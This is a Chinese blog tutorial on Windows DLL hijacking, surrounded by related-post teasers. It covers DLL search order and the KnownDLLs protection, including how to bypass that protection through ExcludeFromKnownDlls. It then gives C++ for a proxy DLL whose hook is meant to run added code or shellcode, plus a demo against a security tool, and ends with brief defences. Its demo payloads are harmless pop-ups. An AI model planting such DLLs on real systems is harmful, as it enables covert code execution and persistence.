日子越来越有判头了?用DLL劫持,搞点事情!

Windows找出权限维持的后门 Windows权限维持主要包含活动隐藏、自启动等技术。 阅读详情

0x01 dll简介

在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。

每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:

  • 1.进程装载DLL。
  • 2.进程卸载DLL。
  • 3.DLL在被装载之后创建了新线程。
  • 4.DLL在被装载之后一个线程被终止了。 另外,每个DLL文件中都包含有一个导出函数表也叫输出表(存在于PE的.edata节中)。使用一些PE文件查看工具如LoadPE,就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。
    应用程序导入函数与DLL文件中的导出函数进行链接有两种方式:隐式链接(load-time dynamiclinking)也叫静态调用和显式链接(run-time dynamiclinking)也叫动态调用。隐式链接方式一般用于开发和调试,而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数(注:涉及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径,

dll路径搜索规则

但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。

  • 1.程序所在目录。
  • 2.加载 DLL 时所在的当前目录。
  • 3.系统目录即 SYSTEM32 目录。
  • 4.16位系统目录即 SYSTEM 目录。
  • 5.Windows目录。
  • 6.PATH环境变量中列出的目录微软为了防止DLL劫持漏洞的产生,在XP SP2之后,添加了一个SafeDllSearchMode的注册表属性。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:

  • 1.程序所在目录
  • 2.系统目录即 SYSTEM32 目录。
  • 3.16位系统目录即 SYSTEM 目录。
  • 4.Windows目录。
  • 5.加载 DLL 时所在的当前目录。
  • 6.PATH环境变量中列出的目录。

在win7以上版本

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。

所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下

  • 1.应用程序所在目录。
  • 2.系统目录SYSTEM32 目录。
  • 3.16位系统目录。没有获取该目录路径的函数,但会对其进行搜索。
  • 4.Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
  • 5.当前目录
  • 6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。
    Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
    不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。

在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。

无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。

键值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win10的如下
在这里插入图片描述

0x02 寻找可劫持dll

有很多软件可以查看exe加载的dll

process-explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
在这里插入图片描述
火绒剑
在这里插入图片描述
Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

类似下图这种就是该dll在KnownDLLs注册表项里
在这里插入图片描述

0x03 劫持测试

这里用D盾进行劫持实验

还是先使用Process Explorer
在这里插入图片描述
可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试

当然这里也有偷懒的方法,批量自动化测试

这里ctrl+s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里

在这里插入图片描述
存在的话就会直接输出结果
在这里插入图片描述
不存在就会显示no
在这里插入图片描述
上面显示存在两个dll可能可以劫持
这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。

在这里插入图片描述

0x04 进阶测试

但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。

所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。

这里我们制作一个弹窗的dll来进行测试,

1.首先使用VS2019新建一个DLL项目
在这里插入图片描述
2.在生成的dllmain.cpp下添加

Bash

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

Bash

#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

然后编译生成Dll1.dll
在这里插入图片描述
再新建一个C++项目,填入如下代码
在这里插入图片描述
Go

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定义一个函数类DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定动态加载dll库
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
    if (hinst != NULL) {
        // 获取函数位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
    }
    if (GetDllfunc != NULL) {
        //运行msg函数
        (*GetDllfunc)();
    }
}

想了解dll编写细节的可以看这里
再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
在这里插入图片描述
成功弹窗
这里我们用之前转发劫持dll的思路,来试验一下
这里我用脚本一键生成用来劫持的dll
在这里插入图片描述
这是默认生成的

Bash

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//添加自己的代码
{  
       
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_msg = GetAddress("msg");
                     
            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));

然后在代码这一行添加弹窗或者执行shellcode

Go

VOID Hijack()   //default open a calc.
{  
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
       
}

然后编译生成
再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下

在这里插入图片描述
运行Meg.exe这时候应该会有两个弹窗
在这里插入图片描述
可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗

0x05 防御

通用免疫方案:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器
或者可以在加载dll是检测MD5和大小,来防御.

请添加图片描述

逆向破解之破解补丁与劫持Dll 有些加了壳的程序会导致其在未完全解密完成的情况下出现如下汇编代码当软件运行后,其真正的汇编代码才会呈现出来,也就是我们常说的“吐壳”在程序没有把壳完全吐出来前,我们需要通过代码来判断这个程序是否吐完壳了,最好的方法就是判断某个内存地址的值是否是解密完成后的值这里我就选4010F0内存地址的值53来判断程序是否吐完壳了简单来说劫持dll就是劫持系统的dll,弄一个包含恶意代码的dll来伪装成系统dll,然后把这个dll和程序放在同一目录,程序会优先调用含有恶意代码的dll本次实例演示劫持系统的。 阅读详情

相关推荐

2026年6月微软高危补丁前瞻:RCE与身份绕过漏洞的自动化修复与防御

远程代码执行(RCE)和身份验证绕过是网络安全领域最核心的漏洞类型,它们直接威胁着系统的机密性、完整性和可用性。RCE漏洞的原理在于攻击者通过网络请求或恶意文件,利用软件中的内存安全缺陷(如缓冲区溢出)或逻辑错误,在目标系统上执行任意代码,从而获得控制权。身份绕过漏洞则破坏了认证与授权机制的信任根基,使攻击者无需合法凭证即可访问受限资源或提升权限。这两类漏洞的技术价值在于,它们通常是高级持续性威胁攻击链中的关键环节,能直接导致数据泄露、服务中断乃至整个网络沦陷。其应用场景广泛,从Windows服务器、Act

weixin_30642869的博客 427

计算机中丢失meg.dll,DLL劫持学习及复现

0x01 dll简介在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:1.进程装载DLL。2....

weixin_36140683的博客 734

易语言DLL劫持补丁(Version.dll)

源码介绍 《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 本插件是用易语言编写的DLL劫持补丁(Version.dll)插件大家可以测试下。

第2篇:Windows权限维持----应急响应之权限维持篇

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

星河梦瑾的博客 946

机器视觉避坑指南:为什么你的Halcon划痕检测总漏检?(附优化方案)

本文深入剖析了Halcon在表面划痕检测中漏检率高的常见原因,如灰度值波动、噪声干扰及形态学参数设置不当。针对复杂背景与低对比度划痕,提出了超越官方例程的多尺度纹理分析与特征融合优化方案,旨在帮助开发者构建更鲁棒、稳定的机器视觉检测流程,有效提升检出率。

weixin_29057163的博客 235

基于PDF文档结构的数字隐写

PDF隐写

xiongshivigor的博客 1426

手杀主页劫持流氓软件

随便说说 入职快一个月了,从一个天天摸摸鱼的大学生成为了一名光荣的打工人。不过在这一个月里也是学到很多东西,有句话大概是这么讲的:“你知道的越多,你就会觉得你不知道的越多!”这段时间不断看到新的东西不断学到新的知识。领导对我十分宽容,老师也时长来问问我的学习情况,上班的日子其实感觉还蛮不错。最大的感触莫过于能学到东西,最多的体会就是好累啊,今天学习中刚好看到补丁和启动项什么的知识,恰好我之前激活office全家桶主页被劫持了,用过公司的杀毒和火绒什么的全盘查杀还有一些什么防锁主页的软件,然....

qq_31314583的博客 2380

Java对接海康威视明眸门禁设备

海康威视合作生态致力打造一个能力开放体系、两个生态圈,Hikvision AI Cloud开放平台是能力开放体系的核心内容。它是海康威视基于多年在视频及物联网核心技术积累之上,融合AI、大数据、云计算等技术,为合作伙伴提供的一个二次开发及创新的平台。的SDK复制到linux的lib目录下(如果是docker发布,记得做好共享映射哦)大家有没有想过,windows版的SDK为什么要复制到项目根目录的lib文件夹下?所以发布到linux的时候,我们需要将。打开AcsMain文件。................

Good Luck 7878

Python 3.8下MvCameraControl.dll加载失败排查与解决

在Windows平台使用Python调用C/C++动态库时,DLL加载失败是常见问题。Python 3.8调整了ctypes的DLL搜索策略,不再默认依赖PATH环境变量,转而推荐使用os.add_dll_directory显式注册路径,这导致许多工业相机SDK如MvCameraControl.dll出现FileNotFoundError。理解动态库加载原理和依赖链机制,能有效提升开发效率。该问题常见于工业相机二次开发、机器视觉应用等场景。本文针对Python3.8环境下MvCameraControl.dl

weixin_34116482的博客 277

使用Termux在Android设备上编译运行SpecCPU2006

SPEC2006搭配Termux,竟然还能这么玩?!

菜菜的菜园子 2962

【XCharts插件】3-1、制作图表及代码生成图表(v1.0)

XCharts插件是一款基于UGUI的功能强大、易用、参数可配置的数据可视化图表插件。【Unity3D插件】XCharts插件完全教程《全网最全》-专栏文章目录OK,这是v1.0版本的XCharts插件的创建图表,代码生成图表的教程。可能有人要问了,既然都更新到v3.0了,还写啥v1.0教程呢。因为有些项目就是用v1.0去制作图表了,也没有太多的精力去更新插件,所以就一直用的v1.0,而且v1.0已经能实现大部分的图标样式了,所以,博主还是单独写了一篇文章来介绍v1.0的功能。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 1296

进程Section劫持POC

为什么80%的码农都做不了架构师?>>> ...

weixin_33851604的博客 148

从技术债红线到系统治理:透视 SAP Clean Core 中的 Level D

SAP推出的Clean Core分级体系将扩展风险划分为A到D四个等级,其中Level D代表最高风险类别,涉及直接修改标准代码、隐式增强、使用noAPI对象等不被推荐的做法。这些做法虽然短期见效快,但会带来升级冲突、数据完整性风险等长期问题。SAP强调治理重点不是完全消除经典ABAP,而是优先清理Level D对象,逐步向稳定接口迁移。典型案例显示,依赖内部细节的扩展往往在系统升级或云迁移时集中暴露出问题。企业应通过工具链持续监控Level D占比,将其纳入技术债管理范畴。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1065

我是一个流氓软件

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

2401_84206094的博客 913

Gromacs 模拟昆虫 P450 解毒酶与农药结合完整指南,仅供参考!

🏆 本文收录于《全栈Bug调优(实战版)》专栏,致力于分享我在项目实战过程中遇到的各类Bug及其原因,并提供切实有效的解决方案。无论你是初学者还是经验丰富的开发者,本文将为你指引出一条更高效的Bug修复之路,助你早日登顶,迈向财富自由的梦想🚀!同时,欢迎大家关注、收藏、订阅本专栏,更多精彩内容正在持续更新中。让我们一起进步,Up!Up!Up!    备注: 部分问题/难题源自互联网,经过精心筛选和整理,结合数位十多年大厂实战经验资深大佬经验总结所得,数条可行方案供所需之人参考。

**My Coding Family** 1243

我正用AI Agent重构传统GIS 核心功能,说大白话做空间分析

GeoAI-UP项目通过AI Agent技术实现自然语言驱动的空间分析,核心创新包括: 意图识别层:通过LLM理解用户需求,自动拆解为可执行目标 智能任务规划:动态生成分析流程,处理复杂依赖关系 统一算子架构:采用标准化接口封装200+空间分析功能 可视化工作流。

专注GIS软件开发。 496

浏览器主页锁定之战——IE:我太难了

精彩回顾: 我是一个explorer的线程 我是一个杀毒软件线程 我是一个IE浏览器线程 比特宇宙-TCP/IP的诞生 产品vs程序员:你知道www是怎么来的吗? Hello,World! 我是一个流氓软件线程,我不像那些病毒和木马,我只是通过人类的电脑赚一点小钱,并不会偷信息破坏电脑,但即便如此,那些安全软件还是不肯放过我。 我是第一次来到这片土地,这是一个实行Windo...

王二的博客 325

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Facebook Messenger 被曝漏洞,可导致恶意软件获得持续访问权限(详细分析)

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队新冠肺炎疫情不仅对我们的健康产生重大影响,而且对我们的社交生活、个人生活和工作亦是如此。它使我们保持物理距离和社交距离、在家...

smellycat000的专栏 613

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

笑死!一个流氓软件的故事

我是一个流氓软件,我不像那些病毒和木马,我只是通过人类的电脑赚一点小钱,并不会偷信息破坏电脑,但即便如此,那些安全软件还是不肯放过我。我是第一次来到这片土地,这是一台Windows电脑。我...

Oner.wv的专栏 276

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

当坚强化作温柔:疲惫时刻也需要一个拥抱

听众留言:再坚强的人也有软肋,再厚重的盔甲也有卸下的瞬间。我只希望在我想被拥抱的时候,你能毫不犹豫地抱紧我,告诉我你懂我所有的逞强。可只有你自己知道,有些坚强是逼出来的,你不敢轻易倒下,正是因为身后空无一人。我想,无论年纪多大,每个人心里都住着一个孩子的梦,渴望被珍视,渴望心事被倾听,渴望想撒娇的时候有人宠,渴望难过的时候有人哄。最孤独的时刻,往往不是一个人冲锋陷阵的时候,而是摔倒了,却没有人伸手扶你一把的时候。希望在意你的人,能治愈你所有的难过。希望在意你的人,不会让你等太久。

分享技术点滴 92

我是一个流氓软件线程

前情回顾: 我是一个explorer的线程 我是一个杀毒软件线程 我是一个IE浏览器线程 Hello, World! 我是一个流氓软件线程,我不像那些病毒和木马,我只是通过人类的电脑赚一点小钱,并不会偷信息破坏电脑,但即便如此,那些安全软件还是不肯放过我。 我是第一次来到这片土地,这是一个实行Windows体制的国家。我的目标是篡改IE浏览器的主页,变成一个导航网站:hao235.com。只要IE访问它一次,回头我就能去hao235公司领到一分钱。只要我后面慢慢发展更多地盘,加起来也是一笔不少的费用了.

Ruishine的博客 248

linux x11 挖矿病毒,应急响应:记一次花样贼多的挖矿病毒

一次 “无文件”、“无进程”,在系统中 “几乎” 看不到异常的高配挖矿病毒处置实例 。0x00 正经的内容介绍本文记录了一次表象是 “无文件”、“无进程”,在系统中 “几乎” 看不到异常的高配挖矿病毒处置实例 ,包括处置过程,以及逆向分析其 原理实现,感兴趣的朋友我们一起抽丝剥茧,拨云见日。? 通过本文可以收获到:几个Linux应急处置小知识看不到文件、网络、进程?背后的原理解析!几个过时的表情包...

weixin_39542093的博客 811

Everything 拼音搜索扩展 IbEverythingExt:让找文件快 10 倍的搜索新姿势

记不全文件名、找文件总要来回切换输入法——这样的时刻你一定经历过。Everything 拼音搜索扩展 IbEverythingExt 正是为这个痛点而生的:装上它,你就能在 Everything 里直接用拼音简拼、全拼甚至混合拼音来搜中文文件名,再配合"快速选择"功能,从敲下关键词到打开文件往往只需要一次回车。下面就把我实际用下来的体验和心得分享给你,希望能帮你少走几步弯路。 ## 先认识一下:

gitblog_00707的博客 265

心智操作系统升级指南:基因、模因与双核协同的底层重构

心智操作系统是理解人类行为底层逻辑的关键隐喻,它融合了进化生物学中的基因编程、文化传播学中的模因机制,以及神经科学揭示的本能-智能双核架构。基因并非命运判决书,而是以保命、繁衍、节能为原则的远古生存协议;模因则是潜伏于认知后台的文化病毒,通过情感绑定与社会强化持续影响判断;而本能与智能的协同失衡,正是‘知道却做不到’的生理根源。掌握这套系统,意味着从被动响应转向主动配置——识别默认协议、剥离无效模因、建立双核翻译机制,最终在压力、拖延、焦虑等高频场景中扩大反应窗口,实现可迁移的自我掌控力。本文即是一份面向实

weixin_30235225的博客 221
上一篇: Rootkits,黑客之颠!内核方向应该怎么学?
下一篇: IDA,牛逼!逆向安全应该怎么学?
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

